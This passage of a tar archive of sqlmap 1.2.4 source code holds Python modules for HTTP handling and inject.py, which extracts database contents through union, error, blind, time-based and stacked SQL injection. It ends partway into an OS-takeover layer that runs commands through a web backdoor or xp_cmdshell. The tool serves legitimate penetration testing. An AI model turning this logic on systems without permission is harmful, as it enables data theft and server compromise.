server._running = False ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/request/httpshandler.py������������������������������������������������������������0000664�0000000�0000000�00000007603�13260122637�0020333�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import distutils.version import httplib import re import socket import urllib2 from lib.core.common import getSafeExString from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import PYVERSION ssl = None try: import ssl as _ssl ssl = _ssl except ImportError: pass _protocols = filter(None, (getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))) class HTTPSConnection(httplib.HTTPSConnection): """ Connection class that enables usage of newer SSL protocols. Reference: http://bugs.python.org/msg128686 """ def __init__(self, *args, **kwargs): httplib.HTTPSConnection.__init__(self, *args, **kwargs) def connect(self): def create_sock(): sock = socket.create_connection((self.host, self.port), self.timeout) if getattr(self, "_tunnel_host", None): self.sock = sock self._tunnel() return sock success = False # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"): for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols): try: sock = create_sock() context = ssl.SSLContext(protocol) _ = context.wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host) if _: success = True self.sock = _ _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, httplib.BadStatusLine), ex: self._tunnel_host = None logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) if kb.tlsSNI.get(self.host) is None: kb.tlsSNI[self.host] = success if not success: for protocol in _protocols: try: sock = create_sock() _ = ssl.wrap_socket(sock, self.key_file, self.cert_file, ssl_version=protocol) if _: success = True self.sock = _ _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, httplib.BadStatusLine), ex: self._tunnel_host = None logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex)) if not success: errMsg = "can't establish SSL connection" # Reference: https://docs.python.org/2/library/ssl.html if distutils.version.LooseVersion(PYVERSION) < distutils.version.LooseVersion("2.7.9"): errMsg += " (please retry with Python >= 2.7.9)" raise SqlmapConnectionException(errMsg) class HTTPSHandler(urllib2.HTTPSHandler): def https_open(self, req): return self.do_open(HTTPSConnection if ssl else httplib.HTTPSConnection, req) # Bug fix (http://bugs.python.org/issue17849) def _(self, *args): return self._readline() httplib.LineAndFileWrapper._readline = httplib.LineAndFileWrapper.readline httplib.LineAndFileWrapper.readline = _ �����������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/request/inject.py������������������������������������������������������������������0000664�0000000�0000000�00000052514�13260122637�0017110�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery from lib.core.common import expandAsteriskForColumns from lib.core.common import extractExpectedValue from lib.core.common import getPublicTypeMembers from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parseUnionPage from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS from lib.core.settings import INFERENCE_MARKER from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import queryOutputLength from lib.techniques.dns.test import dnsTest from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse def _goDns(payload, expression): value = None if conf.dnsDomain and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None: if kb.dnsTest is None: dnsTest(payload) if kb.dnsTest: value = dnsUse(payload, expression) return value def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 value = _goDns(payload, expression) if value is not None: return value timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not conf.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): expression = "SELECT %s FROM (%s)" % (field, expression) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression)) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','): nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: injExpression = expression length = queryOutputLength(injExpression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start)) logger.debug(debugMsg) return value def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): outputs = [] origExpr = None for field in expressionFieldsList: output = None if field.startswith("ROWNUM "): continue if isinstance(num, int): origExpr = expression expression = agent.limitQuery(num, expression, field, expressionFieldsList[0]) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field) if isinstance(num, int): expression = origExpr outputs.append(output) return outputs def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ initTechnique(kb.technique) query = agent.prefixQuery(kb.injection.data[kb.technique].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = BigArray() if not unpack: return _goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) rdbRegExp = re.search(r"RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than one field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) if limitCond: test = True if not stopLimit or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False if test: # Count the number of SQL query entries output countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] if not stopLimit: count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) if isNumPosStrValue(count): count = int(count) if batch or count == 1: stopLimit = count else: message = "the SQL query provided can return " message += "%d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" choice = readInput(message, default='A').upper() if choice == 'A': stopLimit = count elif choice == 'Q': raise SqlmapUserQuitException elif choice.isdigit() and int(choice) > 0 and int(choice) <= count: stopLimit = int(choice) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif choice in ('#', 'S'): message = "how many? " stopLimit = readInput(message, default="10") if not stopLimit.isdigit(): errMsg = "invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "invalid choice" logger.error(errMsg) return None elif count and not count.isdigit(): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) return None elif (not stopLimit or stopLimit == 0): return None try: try: for num in xrange(startLimit, stopLimit): output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) except KeyboardInterrupt: print warnMsg = "user aborted during dumping phase" logger.warn(warnMsg) return outputs elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None def _goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ initTechnique(kb.technique) if conf.dnsDomain: query = agent.prefixQuery(kb.injection.data[kb.technique].vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) output = _goDns(payload, expression) if output is not None: return output vector = kb.injection.data[kb.technique].vector vector = vector.replace(INFERENCE_MARKER, expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) timeBasedCompare = kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) if output is None: output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) if output is not None: hashDBWrite(expression, output) return output def _goUnion(expression, unpack=True, dump=False): """ Retrieve the output of a SQL query taking advantage of an union SQL injection vulnerability on the affected parameter. """ output = unionUse(expression, unpack=unpack, dump=dump) if isinstance(output, basestring): output = parseUnionPage(output) return output def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue for keyword in GET_VALUE_UPPERCASE_KEYWORDS: expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) # Dirty patch (safe-encoded unicode characters) if isinstance(value, unicode) and "\\x" in value: try: candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) if "\\x" not in candidate: value = candidate except: pass return extractExpectedValue(value, expected) def goStacked(expression, silent=False): if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: kb.technique = PAYLOAD.TECHNIQUE.STACKED else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): _ = getTechniqueData(technique) if _ and "stacked" in _["title"].lower(): kb.technique = technique break expression = cleanQuery(expression) if conf.direct: return direct(expression) query = agent.prefixQuery(";%s" % expression) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper()) def checkBooleanExpression(expression, expectingNone=True): return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/request/methodrequest.py�����������������������������������������������������������0000664�0000000�0000000�00000000674�13260122637�0020525�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import urllib2 class MethodRequest(urllib2.Request): """ Used to create HEAD/PUT/DELETE/... requests with urllib2 """ def set_method(self, method): self.method = method.upper() def get_method(self): return getattr(self, 'method', urllib2.Request.get_method(self)) ��������������������������������������������������������������������sqlmap-1.2.4/lib/request/pkihandler.py��������������������������������������������������������������0000664�0000000�0000000�00000001313�13260122637�0017744�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import httplib import urllib2 from lib.core.data import conf class HTTPSPKIAuthHandler(urllib2.HTTPSHandler): def __init__(self, auth_file): urllib2.HTTPSHandler.__init__(self) self.auth_file = auth_file def https_open(self, req): return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=None): # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/request/rangehandler.py������������������������������������������������������������0000664�0000000�0000000�00000002637�13260122637�0020267�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import urllib import urllib2 from lib.core.exception import SqlmapConnectionException class HTTPRangeHandler(urllib2.BaseHandler): """ Handler that enables HTTP Range headers. Reference: http://stackoverflow.com/questions/1971240/python-seek-on-remote-file This was extremely simple. The Range header is a HTTP feature to begin with so all this class does is tell urllib2 that the "206 Partial Content" response from the HTTP server is what we expected. Example: import urllib2 import byterange range_handler = range.HTTPRangeHandler() opener = urllib2.build_opener(range_handler) # install it urllib2.install_opener(opener) # create Request and set Range header req = urllib2.Request('http://www.python.org/') req.header['Range'] = 'bytes=30-50' f = urllib2.urlopen(req) """ def http_error_206(self, req, fp, code, msg, hdrs): # 206 Partial Content Response r = urllib.addinfourl(fp, hdrs, req.get_full_url()) r.code = code r.msg = msg return r def http_error_416(self, req, fp, code, msg, hdrs): # HTTP's Range Not Satisfiable error errMsg = "Invalid range" raise SqlmapConnectionException(errMsg) �������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/request/redirecthandler.py���������������������������������������������������������0000664�0000000�0000000�00000016104�13260122637�0020766�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re import time import types import urllib2 import urlparse from StringIO import StringIO from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.common import getHostHeader from lib.core.common import getUnicode from lib.core.common import logHTTPTraffic from lib.core.common import readInput from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import REDIRECTION from lib.core.exception import SqlmapConnectionException from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_SINGLE_URL_REDIRECTIONS from lib.core.settings import MAX_TOTAL_REDIRECTIONS from lib.core.threads import getCurrentThreadData from lib.request.basic import decodePage from lib.request.basic import parseResponse class SmartRedirectHandler(urllib2.HTTPRedirectHandler): def _get_header_redirect(self, headers): retVal = None if headers: if "location" in headers: retVal = headers.getheaders("location")[0] elif "uri" in headers: retVal = headers.getheaders("uri")[0] return retVal def _ask_redirect_choice(self, redcode, redurl, method): with kb.locks.redirect: if kb.redirectChoice is None: msg = "sqlmap got a %d redirect to " % redcode msg += "'%s'. Do you want to follow? [Y/n] " % redurl kb.redirectChoice = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO if kb.redirectChoice == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None: msg = "redirect is a result of a " msg += "POST request. Do you want to " msg += "resend original POST data to a new " msg += "location? [%s] " % ("Y/n" if not kb.originalPage else "y/N") kb.resendPostOnRedirect = readInput(msg, default=('Y' if not kb.originalPage else 'N'), boolean=True) if kb.resendPostOnRedirect: self.redirect_request = self._redirect_request def _redirect_request(self, req, fp, code, msg, headers, newurl): newurl = newurl.replace(' ', '%20') return urllib2.Request(newurl, data=req.data, headers=req.headers, origin_req_host=req.get_origin_req_host()) def http_error_302(self, req, fp, code, msg, headers): start = time.time() content = None redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None try: content = fp.read(MAX_CONNECTION_TOTAL_SIZE) except Exception, msg: dbgMsg = "there was a problem while retrieving " dbgMsg += "redirect response content (%s)" % msg logger.debug(dbgMsg) finally: if content: try: # try to write it back to the read buffer so we could reuse it in further steps fp.fp._rbuf.truncate(0) fp.fp._rbuf.write(content) except: pass content = decodePage(content, headers.get(HTTP_HEADER.CONTENT_ENCODING), headers.get(HTTP_HEADER.CONTENT_TYPE)) threadData = getCurrentThreadData() threadData.lastRedirectMsg = (threadData.lastRequestUID, content) redirectMsg = "HTTP redirect " redirectMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, getUnicode(msg)) if headers: logHeaders = "\r\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in headers.items()) else: logHeaders = "" redirectMsg += logHeaders if content: redirectMsg += "\r\n\r\n%s" % getUnicode(content[:MAX_CONNECTION_CHUNK_SIZE]) logHTTPTraffic(threadData.lastRequestMsg, redirectMsg, start, time.time()) logger.log(CUSTOM_LOGGING.TRAFFIC_IN, redirectMsg) if redurl: try: if not urlparse.urlsplit(redurl).netloc: redurl = urlparse.urljoin(req.get_full_url(), redurl) self._infinite_loop_check(req) self._ask_redirect_choice(code, redurl, req.get_method()) except ValueError: redurl = None result = fp if redurl and kb.redirectChoice == REDIRECTION.YES: parseResponse(content, headers) req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) if headers and HTTP_HEADER.SET_COOKIE in headers: delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER _ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0] if HTTP_HEADER.COOKIE not in req.headers: req.headers[HTTP_HEADER.COOKIE] = _ else: req.headers[HTTP_HEADER.COOKIE] = re.sub(r"%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (re.escape(_.split('=')[0]), delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter)) try: result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) except urllib2.HTTPError, e: result = e # Dirty hack for http://bugs.python.org/issue15701 try: result.info() except AttributeError: def _(self): return getattr(self, "hdrs") or {} result.info = types.MethodType(_, result) if not hasattr(result, "read"): def _(self, length=None): return e.msg result.read = types.MethodType(_, result) if not getattr(result, "url", None): result.url = redurl if not getattr(result, "code", None): result.code = 999 except: redurl = None result = fp fp.read = StringIO("").read else: result = fp threadData.lastRedirectURL = (threadData.lastRequestUID, redurl) result.redcode = code result.redurl = redurl return result http_error_301 = http_error_303 = http_error_307 = http_error_302 def _infinite_loop_check(self, req): if hasattr(req, 'redirect_dict') and (req.redirect_dict.get(req.get_full_url(), 0) >= MAX_SINGLE_URL_REDIRECTIONS or len(req.redirect_dict) >= MAX_TOTAL_REDIRECTIONS): errMsg = "infinite redirect loop detected (%s). " % ", ".join(item for item in req.redirect_dict.keys()) errMsg += "Please check all provided parameters and/or provide missing ones" raise SqlmapConnectionException(errMsg) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/request/templates.py���������������������������������������������������������������0000664�0000000�0000000�00000001170�13260122637�0017622�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.data import kb from lib.request.connect import Connect as Request def getPageTemplate(payload, place): retVal = (kb.originalPage, kb.errorIsNone) if payload and place: if (payload, place) not in kb.pageTemplates: page, _, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None) retVal = kb.pageTemplates[(payload, place)] return retVal ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/takeover/��������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0015403�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/takeover/__init__.py���������������������������������������������������������������0000664�0000000�0000000�00000000222�13260122637�0017510�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/takeover/abstraction.py������������������������������������������������������������0000664�0000000�0000000�00000017020�13260122637�0020266�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import sys from extra.safe2bin.safe2bin import safechardecode from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import getSQLSnippet from lib.core.common import getUnicode from lib.core.common import isStackingAvailable from lib.core.common import readInput from lib.core.data import conf from lib.core.data import logger from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.shell import autoCompletion from lib.request import inject from lib.takeover.udf import UDF from lib.takeover.web import Web from lib.takeover.xp_cmdshell import XP_cmdshell class Abstraction(Web, UDF, XP_cmdshell): """ This class defines an abstraction layer for OS takeover functionalities to UDF / XP_cmdshell objects """ def __init__(self): self.envInitialized = False self.alwaysRetrieveCmdOutput = False UDF.__init__(self) Web.__init__(self) XP_cmdshell.__init__(self) def execCmd(self, cmd, silent=False): if self.webBackdoorUrl and not isStackingAvailable(): 